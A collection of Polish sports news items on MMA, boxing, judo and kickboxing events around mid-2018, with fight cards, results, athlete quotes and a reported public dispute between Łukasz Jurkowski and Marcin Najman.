W rosyjskiej organizacji Polak ma się odbudować, co pozwoli mu wrócić do UFC. Nie da się ukryć, że Held ma ogromne możliwości, co potwierdził w Bellatorze, gdzie był czołową postacią wagi lekkiej. Pierwszy test możliwości polskiego fightera już 16 czerwca w Brisbane. Polak dotarł do Australii w niedzielę i ostatnie dni poświęca na szlifowanie formy. Zapewnia, że znajduje się w wysokiej formie i nie narzeka na samopoczucie. Jego rywalem będzie Callan Potter, który ma na koncie 16 zwycięstw. Australijczyk jest specjalistą od zmagań w parterze i wszystkie walki rozstrzygnął przed czasem! Potter znajduje się w znakomitej dyspozycji, o czym świadczy fakt, że zwyciężył w ośmiu pojedynkach z rzędu. Po raz ostatni pokonany schodził we wrześniu 2015 roku.

Dla Marcina Helda będzie to drugi występ w Australii. Jednak walka z Kaleo Kwanem to odległe czasy. W Melbourne Polak zaprezentował się we wrześniu 2011 roku podczas gali AFC 2. Held potrzebował niecałej minuty, aby doprowadzić zmusić rywala do poddania. Czy 16 czerwca zapisze na swoim koncie kolejną wygraną?

Czwarta walka Celińskiego

W Brisbane zaprezentuje się również Karol Celiński. Dla 37-latka będzie to czwarta walka stoczona dla ACB. Celiński wygrał trzy poprzednie starcia, w których pokonał kolejno: Łuksza Parobca, Vinny'ego Magalhaesa oraz Maxima Futina.

Na ACB 88 rywalem polskiego zawodnika będzie Luke Barnatt. 30-latek ma za sobą przygodę w UFC, a w ACB debiutował w starciu z Mamedem Khalidovem. Barnatt został znokautowany przez byłego mistrza KSW w zaledwie 21 sekund.

Fot. Marcin Held Facebook

KM

Wilder powiedział „tak”

Wielka walka w wadze ciężkiej coraz bliżej? Mistrz świata WBC wagi ciężkiej Deontay Wilder przyjął ofertę Anthony'ego Joshuy na pojedynek na stadionie Wembley w Londynie. Jesień może być niezwykle gorąca!

Cały bokserski świat z niecierpliwością wyczekuje starcia Joshuy z Wilderem. Dwóch wielkich mistrzów, którzy potrafią potężnie wstrząsnąć rywalem i są pierwszoplanowymi postaciami boksu. Mówiło się, że do walki Joshuy i Wildera dojdzie w 2019 roku. Jednak w ostatnich tygodniach nastąpił przełom. Najpierw menadżer Wildera Shelly Finkel podał, że Amerykanin jest gotowy przystać na podział zysków 60 do 40 na korzyść 28-latka z Watfordu. Ponadto, Wilder gotów był stanąć do rywalizacji na stadionie Wembley.

Mistrz świata WBC dał wyraźny sygnał, że wielka walka w wadze ciężkiej zbliża się wielkimi krokami. Teraz to potwierdził. Pojedynek o cztery pasy mistrzowskie w kategorii królewskiej miałby odbyć się jesienią na Wembley. – Jeśli Joshua będzie chciał, to oferta 50 milionów w przypadku walki w USA będzie dostępna. Zgodziłem się na ich propozycję na starcie w Wielkiej Brytanii. Piłka jest po jego stronie – poinformował Deontay Wilder.

Zapewne na jednym pojedynku się nie skończy. Oferta przedstawiona przez obóz Joshuy zawiera dwie walki – pierwszą w Anglii, zaś rewanż w Stanach Zjednoczonych. – Wysłaliśmy do Joshuy i rodziny Hearna informację, że zgadzamy się na ich warunki. Nie będziemy zdradzać kwot, ale propozycja jest na tyle dobra, że możemy ją zaakceptować – podał Shelly Finkel, menadżer Wildera.

Można powiedzieć, że Wilder dał „zielone światło” dla wielkiego wydarzenia. Teraz trzeba czekać na wiążące ustalenia. Kiedy należy się spodziewać walki, której stawkę będą pasy mistrzowskie IBF, WBA, WBO i WBC wagi ciężkiej? Prawdopodobny termin to 15 września. Możliwe również, że starcie odbędzie się w drugiej połowie września.

Joshua ma na koncie 21 wygranych. W ostatniej walce pokonał Josepha Parkera, który jako pierwszy wytrzymał z Brytyjczykiem pełen dystans. Z kolei Wilder ma na koncie 40 zwycięstw. W marcu uporał się z Luisem Ortizem.

KM

Polacy na trzecim stopniu podium

Anna Załęczna (+78kg) oraz Ksawery Morka (73kg) wywalczyli złote medale w Pucharze Europy w judo w Belgradzie. Ich dobre występy sprawiły, że biało-czerwoni zajęli trzecią pozycję w klasyfikacji końcowej zawodów.

Na starcie w Belgradzie zameldowało się 261 judoczek i judoków. Reprezentacja Polski liczyła dziesięć osób. Biało-czerwoni startowali ze zmiennym szczęściem, ale w ostatecznym rozrachunku osiągnięty wynik jest satysfakcjonujący.

Duży wkład w końcowy efekt miała Anna Załęczna, która po raz kolejny znalazła się na podium. W ubiegłym tygodniu wywalczyła brąz w Madrycie. W Belgradzie Polka zaczęła od wygranej przed czasem z Aleksandrą Dubroją. Zwycięstwo dało jej możliwość walki o medale. Na drodze Załęcznej stanęła Tina Radić, którą Polka pokonała w niecałą minutę. 22-letniej zawodniczce TKS Judo Toruń pozostał ostatni krok w postaci walki o złoto,  w której rozłożyła na łopatki Katarinę Luciję Vuković. – Puchar Europy jedzie ze mną do Torunia. To mój pierwszy wygrany turniej seniorski. Bardzo się cieszę – napisała na Facebooku Anna Załęczna.

Popisowy występ w Belgradzie zaliczył Ksawery Morka. 22-letni zawodnik broniący barw klubu Ryś Warszawa stoczył w Serbii sześć walk. Z pojedynku na pojedynek Morka był coraz bardziej zdeterminowany. Aż pięć walk rozstrzygnął na swoją korzyść przed czasem. Tylko Martin Vegvari, który w maju był drugi w Sarajewie postawił Polakowi trudne warunki, jednak ten i tak znalazł sposób na Węgra. 22-latek wygrał przez waza-ari. W starciu o złoto Morka pokonał Serba Ljubisę Kovacevicia.

Blisko podium był Łukasz Kiełbasiński (66kg). Polak start w Belgradzie rozpoczął od zwycięstwa, jednak w kolejnej walce pokonał go Bence Boros. Kiełbasiński trafił do repasaży, gdzie odniósł dwa zwycięstwa, które dały mu szansę rywalizacji o brąz. Denis Jurakić zdobył jedno waza ari, co pozwoliło cieszyć mu się z medalu.

Daria Tymann (78kg) poznała smak rywalizacji na poziomie seniorskim. W Belgradzie zajęła siódme miejsce, choć przegrała dwie walki. Tym razem Kacper Szczurowski (100kg) nie sięgnął po medal. Tydzień temu Polak był drugi w Madrycie, z kolei w Belgradzie zajął siódmą lokatę.

Pierwsze skrzypce w Pucharze Europy grali Serbowie. Gospodarze zdobyli 14 medali, w tym cztery złote. Za ich plecami Węgrzy z dorobkiem siedmiu krążków (dwa złote) i Polacy.

Fot. Anna Załęczna Facebook/EJU

KM

Nadchodzi oczekiwane starcie

Mariusz Pudzianowski i Karol Bedorf to najjaśniejsze gwiazdy gali KSW 44, która odbędzie się 9 czerwca w trójmiejskiej Ergo Arenie. O tym starciu mówiło się od dawna. W końcu okaże się, który z zawodników wagi ciężkiej jest lepszy.

Pudzianowski i Bedorf mają ogromny apetyt. Po porażkach z Peterem Grahamem i Marcinem Różalskim, "Pudziana" skazywano na emeryturę, jednak ten udowodnił, że może jeszcze rywalizować na dobrym poziomie. 41-latek ma passę trzech zwycięstw z rzędu. Przed czasem pokonał Pawła Mikołajuwa i Tyberiusza Kowalczyka, a ostatnio uporał się z Jay'em Silvą. Wiadomo, że nic nie trwa wiecznie i zapewne tak będzie z karierą byłego mistrza świata strongman, jednak 9 czerwca czeka go najważniejszy pojedynek w przygodzie z MMA. Wygrana z Bedorfem może okazać się przepustką do walki o pas mistrzowski, co z pewnością byłoby idealnym ukoronowaniem przygody z MMA 41-letniego Pudzianowskiego.

Trzy razy skutecznie tytułu najlepszego w wadze ciężkiej bronił Karol Bedorf. Polak stracił pas w grudniu 2016 roku na rzecz Fernando Rodriguesa Jr. W Ergo Arenie Bedorf zaprezentuje się po raz pierwszy od tamtej porażki. Urodzony w Szczecinie zawodnik miał wystąpić na gali KSW 39: Colosseum, ale zerwał ścięgno Achillesa. Z pewnością Bedorf jest głodny rywalizacji. Trzeba przyznać, że 34-latek ma większe doświadczenie w sportach walki niż jego starszy rywal. Dla Bedorfa pojedynek z Pudzianowskim ma być tylko przystankiem do starcia o pas mistrzowski. Walka wieczoru gali KSW 44 powinna mieć wyjątkowy smak. Czy tak będzie?

W Ergo Arenie zaprezentuje się Michał Materla, który zmierzy się z Martinem Zawadą. Ostatnio były mistrz KSW w wadze średniej padł ofiarą Scotta Askhama, który mocnymi kopnięciami na brzuch osłabił Polaka. Tym samym 29-latek przerwał passę trzech wygranych Materli. Martin Zawada również rysuje się jako wymagający przeciwnik. 34-letni reprezentant Niemiec udanie powrócił do KSW i w Łodzi pokonał Łukasza Jurkowskiego.

Kibice czekają na drugi występ w KSW Tomasza Oświecińskiego, który zmierzy się z Erko Junem. Ciekawie zapowiada się rywalizacja Klebera Koike Erbsta z Marianem Ziółkowskim.

Karta walk gali KSW 44:

Mariusz Pudzianowski vs Karol Bedorf

Kleber Koike Erbst vs Marian Ziółkowski

Michał Materla vs Martin Zawada

Tomasz Oświeciński vs Erko Jun

Filip Wolański vs Daniel Torres

Gracjan Szadziński vs Paul Redmond

Chris Fields vs Wagner Prado

Łukasz Rajewski vs Leo Zulić

Dawid Gralka vs Sebastian Przybysz

Fot. Mariusz Pudzianowski Facebook

KM

Rozstanie w zgodzie i wielkie wyzwanie

Marian Ziółkowski szykuje się do debiutu w federacji KSW. 9 czerwca rywalem popularnego "Golden Boya" w trójmiejskiej Ergo Arenie będzie Kleber Koike Erbst. To będzie kolejny pojedynek Ziółkowskiego w przeciągu dwóch tygodni. Wcześniej zawodnik stoczył walkę dla organizacji Fight Exclusive Night, z którą zakończył współpracę.

Bywa, że nieszczęście jednego jest szansą drugiego. Stwierdzenie to idealnie pasuje do sytuacji Mariana Ziółkowskiego. Podczas KSW 44 miało dojść do drugiego starcia pomiędzy Kleberem Koike Erbstem, a Marcinem Wrzoskiem o wakujący pas dywizji piórkowej. Polak doznał jednak kontuzji i w jego miejsce wskoczył "Golden Boy". Efektowny Koike Erbst może obawiać się Ziółkowskiego, który w ostatnim występie, gala FEN 21, w pierwszej rundzie znokautował Patryka Nowaka.

27-letni Polak w ostatnim czasie związany był z organizacją Fight Exclusive Night, dla której stoczył cztery pojedynki. Ziółkowski wykazał się 50% skutecznością, a stawką obu przegranych walk był tytuł mistrzowski wagi lekkiej. Przed zawodnikiem otworzyły się nowe możliwości, z których postara się skorzystać. Ale jak to mówią "nie zamknął za sobą drzwi". – Rozstanie nastąpiło w zgodzie. Marian Ziółkowski był zawodnikiem FEN od marca 2016 roku, stoczył pod jej szyldem cztery pojedynki, w tym dwa mistrzowskie w kategorii lekkiej. Federacja FEN w międzyczasie umożliwiła mu starty również dla innych organizacji, a z możliwości tej Marian Ziółkowski korzystał. FEN ma nadzieję, że na „nowej drodze życia” Marian będzie odnosił same sukcesy i wiele w tym sporcie osiągnie. Federacja doskonale go zna i wie, że tylko kwestią czasu jest, gdy zawodnik wejdzie na szczyt i będzie świętował w sporcie najwyższe laury. Drzwi dla Mariana w FEN są zawsze otwarte. Powodzenia! – czytamy w komunikacie federacji Fight Exclusive Night dotyczącym zakończenia współpracy z Marianem Ziółkowskim.

"Golden Boy" trafił do zawodowego MMA trzy lata później niż jego najbliższy rywal, ale stoczył już 27 walk, z których wygrał 23. Starcie Ziółkowskieog i Koike Erbsta to gwarancja efektowności i wspaniałego widowiska, bo obaj fighterzy przyzwyczaili, że swoje walki kończą przed czasem w niezwykłym stylu. 28-letni Japończyk Brazylijskiego pochodzenia ma świetną passę pięciu wygranych z rzędu, w tym trzech w KSW. Jeśli wygra, z pewnością stanie przed kolejną szansą na zdobycie pasa. Chyba, że plany pokrzyżuje mu Ziółkowski. Miał już pas PLMMA, w FEN przeszedł mu koło nosa, więc może zapoluje na pas w KSW?

Fot. Marian Ziółkowski Facebook

KM

A jednak rewanżu nie będzie?

Wiele mówiło się, że rewanżowa walka pomiędzy Saulem Alvarezem a Giennadijem Gołowkinem może odbyć się 15 września. Plan nie zostanie jednak zrealizowany ze względu na wymagania finansowe Kazacha. Z kolei 18 sierpnia szykuje się ciekawe starcie w wadze ciężkiej. Były mistrz świata Joseph Parker zmierzy się z Bryantem Jenningsem.

Droga do rewanżowego starcia "Canelo" i "GGG" nie jest usłana różami… Hit wagi średniej odbył się 17 września 2017 roku w T-Mobile Arenie w Las Vegas. Sędziowie ocenili pojedynek jako remisowy, co spotkało się z nieprzychylnymi opiniami. Wielu wskazywało na zwycięstwo Kazacha, a oliwy do ognia dolało punktowanie sędzi Adalaide Byrd. W jej oczach Alvarez zdecydowanie wygrał – 118:110, pozostała dwójka oceniła walkę następująco: remis 114:114 i na korzyść Gołowkina 115:113. Już wtedy wiadomo było, że od tematu rewanżu się nie ucieknie.

Osiągnięto porozumienie i 5 maja Alvarez oraz Gołowkin ponownie mieli pojawić się w ringu. Jednak pięściarze na dobre nie zaczęli przygotowań, a okazało się, że rewanżu… nie będzie. Powodem było wykrycie w organizmie Alvareza niedozwolonych substancji. Sprawą zajęła się Komisja Sportowa Stanu Nevada, która zawiesiła boksera na pół roku. Kara płynie od daty pierwszego pozytywnego testu, czyli 17 lutego. A więc szybkie obliczenia i ponownie można było planować rewanż. Mówiło się o 15 września, jednak wiadomo, że do starcia nie dojdzie. Negocjacje zakończyły się fiaskiem. Obóz Gołowkina chciał podziału 50 na 50, co nie spotkało się z akceptacją ze strony Meksykanina i jego przedstawicieli.

Jednakże 15 września to nadal aktualny termin kolejnej walki Alvareza, ale jego rywalem ma być Daniel Jacobs, który niedawno po zaciętym boju pokonał Macieja Sulęckiego. 31-letni Amerykanin otrzymał ofertę walki z "Canelo". Promotor Jacobsa Eddie Hearn potwierdza, że jego klient jest zainteresowany tym pojedynkiem.

Były mistrz czeka na kolejną walkę

31 marca Joseph Parker stracił pas mistrzowski WBO wagi ciężkiej na rzecz Anthony'ego Joshuy. Warto dodać, że Nowozelandczyk był pierwszym pięściarzem, który przetrwał z "AJ" pełen dystans.

Parker wróci na ring 18 sierpnia w Atlantic City, gdzie zmierzy się z Bryantem Jenningsem. Swego czasu Amerykanin miał okazję rywalizować o panowanie w kategorii królewskiej, jednak przegrał na punkty z Władimirem Kliczko. Ostatnio 33-letni Jennings ma dobrą passę – wygrał cztery pojedynki z rzędu.

Fot. Canelo Alvarez Facebook

KM

Cztery madryckie medale

Cztery medale wywalczyli Polacy w Pucharze Świata w judo w Madrycie. O krok od triumfu byli Wiktor Mrówczyński (73kg) i Kacper Szczurowski (100kg). Z kolei w Pucharze Europy juniorek w Leibnitz triumfowała Paulina Dziopa (+78kg).

Na starcie zawodów w Madrycie stanęło blisko 400 judoczek i judoków. Polska reprezentacja liczyła dziewięć osób. Jako pierwszy z medalu mógł cieszyć się Wiktor Mrówczyński, który stanął na drugim stopniu podium. Polak stoczył w Madrycie pięć pojedynków. Dwie z czterech wygranych walk Mrówczyński rozstrzygnął przed czasem. W finale zatrzymał go mistrz Europy juniorów z 2014 roku Francuz Benjamin Axus.

W tym roku Paula Kulaga (78kg) stała już na podium. Zawodniczka TDK Judo Trzcianka zajęła drugie miejsce w Warszawie. Start w Madrycie 22-letnia Kulaga rozpoczęła od dwóch wygranych pojedynków. W trzecim starciu na jej drodze stanęła Valeria Ferrari. Włoszka potrzebowała niecałej minuty, aby zapisać na swoim koncie zwycięstwo. Kulaga trafiła do repasaży, gdzie poradziła sobie z Patriciją Brolih i stanęła do walki o brązowy medal. Na Polkę czekała kolejna zawodniczka z Włoch – Assunta Galeone. Kulaga zapisała na swoim koncie waza-ari i dzięki temu stanęła na podium.

Siódme miejsca prześladowały w tym roku Annę Załęczną (+78kg), która na tychże lokatach plasowała się z Odivelas i Warszawie. W Madrycie odmiana – Załęczna znalazła się na podium. Szybka wygrana z Martą Anton Elias rozbudziła apetyt, ale Sarah Adlington pozbawiła Polkę szans na finał. 22-letnia Załęczna w starciu o brąz w niecałą minutę uporała się z Patricią Ferrer Bartulos.

Powoli z seniorskim startami oswaja się Kacper Szczurowski (100kg), który w tamtym roku miał okazję zaprezentować się w Katowicach, jednak bez powodzenia. 21-latek może być zadowolony ze swojego występu w Madrycie. W Pucharze Świata Szczurowski stoczył pięć walk, z których cztery wygrał. Polak "szedł jak burza" i pokonywał kolejnych rywali przed czasem. W finale zatrzymał go Zalan Ohat z Węgier.

W klasyfikacji medalowej Polska uplasowała się na dziewiątym miejscu. Najlepsi Niemcy z dorobkiem ośmiu krążków, za nimi Francja (6) i Hiszpania (12, ale tylko dwa złote przy trzech Niemców i Francuzów).

Złota Paulina

Pierwsze zwycięstwo w zawodach Pucharu Europy Juniorek odniosła Paulina Dziopa (+78kg). 19-letnia Polka triumfowała w Leibnitz. Dziopa wygrała cztery walki, w tym trzy przez ippon.

Siódme miejsce w Leibnitz zajął Jakub Pańkowski (73kg), dziewiąty był Kacper Kaczor (66kg).

Fot. EJU/pzjudo.pl

KM

Pokaz siły Jenela

Gala DSF Kickboxing Challenge 16: Śląskie Tąpnięcie, która odbyla się w Zabrzu przeszła do historii. W walce wieczoru Kamil Jenel udowodnił, że jest prawdziwym wojownikiem. Zawodnik Paco Team Katowice w wielkim stylu obronił pas mistrzowski. Tytuł zachował również Maksymilian Bratkowicz.

Kamil Jenel zapisał na swoim koncie drugą udaną obronę pasa mistrzowskiego w kategorii do 81kg. Zawodnik Paco Team Katowice przed czasem pokonał Eduarda Aleksanyana. Bułgar zaczął pojedynek zdecydowanie i wydawało się, że Jenel może mieć kłopoty. Polak przyjął wiele ciosów, ale przetrwał napór przeciwnika. W drugiej rundzie Jenel zaczął dochodzić do głosu, a w trzeciej rozbijał Aleksanyana, który ostatecznie nie był w stanie dalej walczyć.

W Zabrzu do pierwszej obrony pasa w wadze średniej stanął Maksymilian Bratkowicz. Mistrz miał do wyrównania rachunki z Bricem Kombou, z którym przegrał podczas gali DSF 8. Zmotywowany Bratkowicz nie pozostawił rywalowi żadnych szans. Wszyscy sędziowie wskazali na mistrza – 50:46.

Pas w kategorii do 71kg trafił w ręce Jarosława Daschke, który jednogłośną decyzją sędziów pokonał Rafała Dudka. Walka należała do tych z kategorii ciekawych. Kibice ani przez chwilę nie mogli narzekać na nudę. Energiczna, bogata w wymiany walka zakończyła się po myśli Daschke, który latającym kopnięciem zranił rywala. Dudek jednak wstał, ale jego rywal coraz częściej dochodził do głosu. Pięć niezwykle ciekawych rund i zwycięstwo Jarosława Daschke w Zabrzu.

Zdecydowanie w szeregi federacji DSF zawitała Iwona Nieroda. Na przestrzeni trzech rund Polka wypunktowała Yael Yvon. Udany debiut zaliczył również Michał Kita. Tym razem doświadczenie górowało nad młodością. Na przestrzeni trzech rund Kita pokonał Denisa Górniaka. 38-latek dyktował tempo walki, trafiał rywala kolejnymi kopnięciami. Na początku trzeciej odsłony Górniak odważnie zaatakował, jednak Kita kontrolował sytuację. Sędziowie nie mieli wątpliwości, komu należy się zwycięstwo.

Dwa lata temu Dominik Zadora musiał pogodzić się z porażką w starciu z Wojciechem Kosowskim. Tym razem ręce w geście triumfu mógł wznieść zawodnik pochodzący z Bolesławca. – I po raz kolejny… MAMY TO!!! Po mocnych 3 rundach jednogłośną decyzją wygrana na punkty – napisał Zadora na Facebooku.

Wyniki gali DSF 16: Śląskie Tąpnięcie:

Walka wieczoru: (K1, 81 kg 5x3min) Kamil Jenel pokonał  Eduarda Aleksanyana (TKO 3 RUNDA)

Walka o pas: (K1, 86 kg 5x3min) Maksymilian Bratkowicz pokonał Brice’a Kombou (DECYZJA)

Walka o pas: (K1, 71 kg 5x3min) Jarosław Daschke pokonał Rafała Dudka (DECYZJA)

(K1, +96 kg) Michał Kita pokonał Denisa Górniaka (DECYZJA)

(K1, 65 kg) Mateusz Rajewski pokonał Wojciecha Kazieczko (DECYZJA)

(K1, 77 kg) Dominik Zadora pokonał Wojciecha Kosowskiego (DECYZJA)

(K1, 56 kg) Iwona Nieroda pokonała Yael Yvon (DECYZJA)

(K1, 75 kg) Michał Ronkiewicz pokonał Adriana Mitu (DECYZJA)

 

(K1, +96kg) Dzaved Poturak pokonał Łukasza Lipniackiego (DECYZJA)

(K1, 60 kg) Dominik Tomica pokonał Łukasza Łanowskiego (DECYZJA)

(K1, 81 kg) Patryk Małecki pokonał Artura Giersa (DECYZJA)

(K1, 91 kg) Mateusz Janu pokonał Patryka Klapsię (TKO, 3 RUNDA)

(Muay Thai, 71 kg) Jakub Rajewski pokonal Kamila Piątkiewicza (DECYZJA)

Fot. Kamil Jenel Facebook

KM

Szykuje się Śląskie Tąpnięcie

Trzy walki o pasy mistrzowskie zobaczymy podczas zbliżającej się gali DSF Kickboxing Challenge 16: Śląskie Tąpnięcie, która odbędzie się 1 czerwca w Zabrzu.

Federacja nie zwalnia tempa. Dwa tygodnie temu w hali przy ul. Szwedzkiej 2/4 w Warszawie odbyła się gala DSF 15: Bastion Chwały. W walce wieczoru Jan Lodzik obronił pas mistrzowski wagi piórkowej, pokonując Yury'a Zhukovsky'ego. Udanie w organizacji DSF zadebiutował Maciej Jewtuszko, który pokonał Roberta Krasonia. DSF 15 to już historia, teraz czas na kolejne uderzenie!

Przenosimy się do Zabrza, bo właśnie tam – w zabytkowej kopalni węgla kamiennego Guido odbędzie się gala DSF 16: Śląskie Tąpnięcie. W walce wieczoru zaprezentuje się Kamil Jenel, który będzie bronił pasa mistrzowskiego w kategorii do 81kg. Polak zmierzy się z Eduardem Aleksanyanem. Przez długi czas dywagowano, czy w Zabrzu dojdzie do rewanżu Jenela z Kamilem Rutą, któremu zawodnik Paco Team Katowice odebrał pas. Jeśli czempion zachowa tytuł, istnieje ogromne prawdopodobieństwo, że w następnej walce spotka się z mistrzem świata z Turcji z 2013 roku. Warto dodać, że w pierwszej obronie pasa, po zaciętym starciu, Jenel pokonał Eduarda Andronache.

W Nowym Dworze Mazowieckim Brice Kombou świętował zwycięstwo nad Piotrem Strusem. Po morderczej wymianie, sędziowie wskazali na Kameruńczyka. Tym samym Kombou zapracował na starcie o pas. Jego rywalem będzie Maksymilian Bratkowicz, który stanie do pierwszej obrony tytułu w wadze średniej (86kg). W lutym zawodnik Gym Fight Wrocław pokonał Mateusza Kubiszyna, któremu zrewanżował się za porażkę z 2016 roku i sięgnął po pas. Z Kombou mistrz również ma rachunki do wyrównania. Kameruńczyk z niemieckim paszportem okazał się lepszy od Polaka podczas gali DSF 8. – Jestem zwarty i gotowy, wyczekuje dnia dziecka – podkreśla Maksymilian Bratkowicz.

W marcu Jarosław Daschke podpisał kontrakt z federacją DSF. W Zabrzu wielokrotny mistrz Polski w kickboxingu zmierzy się z Rafałem Dudkiem o pas w wadze do 71kg. Sądeczanin, mający na koncie pojedynki dla Glory, na gali DSF: Twierdza wygrał  Zhorą Akopyanem. Zarówno Daschke, jak i Dudek to doświadczeni zawodnicy z bogatym dorobkiem. Kto wzbogaci swój stan posiadania?

Pierwszą walkę dla DSF stoczy Michał Kita. Jego rywalem będzie Denis "Flinston" Górniak.

Karta walk DSF 16: Śląskie Tąpnięcie:

Jakub Rajewski –  Kamil Piątkiewicz Muay Thai, 71 kg

Patryk Klapsia – Mateusz Janu K1, 91 kg

Damian Pająk – Patryk Małecki K1, 81 kg

Dominik Tomica –  Łukasz Łanowski (POLSKA)  K1, 60 kg

Walki PRO:

Iwona Nieroda – Yael Yvon (AUSTRIA)  K1, 56 kg

Mateusz Rajewski – Wojciech Kazieczko K1, 65 kg

Michał Ronkiewicz – Adrian Mitu (RUMUNIA) K1, 75 kg

Dominika Zadora – Wojciech Kosowski K1, 77 kg

Michał Kita – Denis Górniak  K1, +96 kg  

WALKA O PAS DSF

Rafał Dudek – Jarosław Daschke K1, 71 kg

Maksymilian Bratkowicz – Brice Kombou (KAMERUN)  K1, 86 kg

WALKA WIECZORU O PAS DSF

Kamil Jenel – Eduard Aleksanyan K1, 81 kg

KM

Bisping przeszedł na sportową emeryturę

Były mistrz UFC w wadze średniej Michael Bisping podjął decyzję o zakończeniu kariery. 39-letni Anglik już wcześniej rozważał taki krok.

Bisping przygodę z UFC rozpoczął w 2006 roku. W ciągu dwunastu lat stoczył dla najlepszej organizacji MMA na świecie 29 walk, z których 20 wygrał. 4 czerwca 2016 (UFC 199) stanął do starcia o pas wagi średniej. Bisping wskoczył w miejsce kontuzjowanego Chrisa Weidmana i w pierwszej rundzie pokonał Luke'a Rockholda. Warto dodać, że dwa lata wcześniej Amerykanin rozprawił się z Anglikiem. Bisping tylko raz skutecznie bronił mistrzowskiej zdobyczy. W październiku 2016 roku po pięciorundowym boju pokonał Dana Hendersona. W kolejnym starciu górą był Georges St. Pierre. Ostatni pojedynek Bisping stoczył w listopadzie ubiegłego roku (UFC Fight Night 122). 39-letni Anglik przegrał przez nokaut z Kelvinem Gastelumem.

W ostatnim czasie w głowie Bispinga kiełkowała myśli o pożegnalnej walce, jednak prawdopodobnie do niej nie dojdzie. Były mistrz wagi średniej odchodzi na sportową emeryturę. Powodem są problemy z okiem, które pojawiły się w 2013 roku. Podczas gali UFC on FX 7 Bisping przegrał z Vitorem Belfortem. Jedno z kopnięć ze strony Brazylijczyka doprowadziło do odklejenia siatkówki w oku Bispinga. Ale w ostatnich miesiącach u Anglika wystąpiły problemy z drugim okiem. – Po walce z Gastelumem poszedłem na imprezę z całym moim zespołem. Przebywaliśmy w klubie. Było ciemno, ale kątem zdrowego oka widziałem jakieś błyski. Myślę – co się dzieje? – opowiada Michael Bisping.

Anglik udał się do lekarza, który stwierdził, że doszło do odłączenia ciała szklistego. Bisping nie ukrywa przerażenia. Przez długi czas bił się z myślami, jednak po obejrzeniu filmu "Jorneyman" podjął decyzję o zakończeniu kariery. – Zdobyłem pas, wygrałem mnóstwo walk, zrobiłem to, co postanowiłem. Jaki jest sens tracenia energii? Musisz wiedzieć, kiedy odejść. Mam prawie 40 lat, nadszedł czas. Chcę powiedzieć: dziękuję mojej żonie. Bez niej by się to nie stało. Moim dzieciom, mojemu tacie i oczywiście wszystkim z Wielkiej Brytanii i całego świata, którzy mnie wspierali – powiedział Bisping.

Fot. Michael Bisping Facebook

KM

Wymiana Jurkowskiego i Najmana

Narodowa Gala Boksu na stadionie PGE Narodowy w Warszawie miała być wielkim świętem. Wydarzenie spotkało się z wieloma krytycznymi opiniami. Również znany zawodnik MMA i komentator Łukasz Jurkowski dorzucił "swoje trzy grosze".

Legendarny Michael Buffer zapowiadający kolejnych zawodników, ogromny stadion, czołowi polscy pięściarze i zawodnicy K-1. Miała być uczta dla fanów sportów walki, a PGE Narodowy raził pustymi miejscami. Narodowa Gala Sportu była mocno promowana, jednak końcowy efekt rozczarował. Mocno oberwało się Marcinowi Najmanowi, który odpowiadał za organizację przedsięwzięcia.

W gronie krytykujących NGS znalazł się Łukasz Jurkowski. – Fakt jest taki, że PGE Narodowy świecił pustkami, jak pojemnik ze wstydem organizatora tej gali. Cytując klasyka „spoko spoko, zaraz się rozkręci” też nie znalazło odzwierciedlenia, bo jakoś specjalnie bliżej głównych walk kibiców nie przybywało. Nie pomogło nawet sprzedawanie biletów przez serwisy z rabatami i rozdawanie ich gdzie popadnie. Szkoda… serio. Szkoda mi wszystkich zawodników, którzy brali udział w tym przedstawieniu, bo to mogła być dla nich wielka chwila w sportowej karierze. Wiem, co mówię, bo jutro mija dokładnie rok (27 maja 2017) kiedy wychodziłem do walki przy 57 500 tysiącach kibiców. Niezapomniane chwilę. Wielu z bohaterów NGB ciężko trenowało aby zaprezentować się z dobrej strony przed kibicami i widzami jakby nie było telewizji publicznej. Wiem, bo widziałem jaką robotę zrobili Artur Szpilka, Izu czy Ewka Piątkowska – napisał na swoim blogu laczynaspasja.pl/juras-blog/. Przy okazji „Juras” nie szczędził cierpkich słów Marcinowi Najmanowi, którego określił mianem „nieudacznika”.

„El Testosteron” nie pozostał obojętny na krytykę ze strony Łukasza Jurkowskiego. Bokser wytoczył „ciężkie działa”. – Niesamowite, że damski bokser Łukasz Jurkowski ma czelność pisać coś o Narodowej Gali Boksu i umieszczać tam słowo wstyd. Najpierw prawie zabił swoją dziewczynę na motorze, później jego dziewczyna oznajmiła światu kim naprawdę jest Łukasz Jurkowski. Z pozdrowieniem dla wszystkich publikujących jego wypociny na nasz temat. Czyli temat Polskiego Boksu – w taki sposób do sprawy odniósł się na Facebooku Marcin Najman.

Na odpowiedź Jurkowskiego nie trzeba było długo czekać… – Nie będę zniżał się do poziomu, jaki prezentuje zarówno sportowo jak i prywatnie. Dno Dna. Co do zaś wskazanych oskarżeń ze strony "mistrza ringu" informuję, iż sprawa zniesławienia na którą sie powołuje juz niedługo znajdzie swój finał w sądzie, a odpowiednia dokumentacja została złożona. Przy okazji zaznaczam, iż to co robisz to zwykłe pomówienie. Postaram się abyś wspomógł finansowo wybrany przez Nas cel charytatywny – odpowiedział „Juras” na Facebooku.

Jak widać na przykładzie powyższej „wymiany”, Narodowa Gala Boksu stała się przedmiotem gorącej dyskusji.  Ale dopiero po jej zakończeniu. W trakcie zabrakło „ognia”.

KM

Kto zostanie królem Wrocławia?

Gala FEN 21 we wrocławskiej Hali Orbita ma być widowiskiem sportowym najwyższego rzędu. Czy tak będzie? Przekonamy się o tym już 25 maja. W walce wieczoru o pas wagi średniej w walce na zasadach MMA zmierzą się Thiago Vieira i Andrzej Grzebyk.

26-letni Brazylijczyk będzie miał okazję poznać smak rywalizacji w Polsce. Szybki i do bólu skuteczny – taki jest popularny "Mostro". Po walkach z udziałem Vieiry należy spodziewać się efektowności. Brazylijczyk wygrał dziesięć pojedynków w karierze i wszystkie zwycięstwa zanotował przed czasem. Na swoim koncie ma również dwie porażki. Jeśli Andrzej Grzebyk chce zdobyć pas mistrzowski, w walce z Vieirą będzie musiał wspiąć się na szczyt. A że potrafi pobudzić publiczność udowodnił podczas gali FEN 20 w Warszawie, gdzie pokonał przez nokaut Anatolija Litwoinova. 27-letni Polak stoczy piąty pojedynek dla wrocławskiej organizacji. Dotychczas wygrał trzy starcia, czym utorował sobie drogę do pojedynku o pas. Zderzenie Vieiry i Grzebyka zapowiada się niezwykle gorąco. Polski zawodnik również walczy ofensywnie – osiem z dwunastu walk wygrał przed czasem.

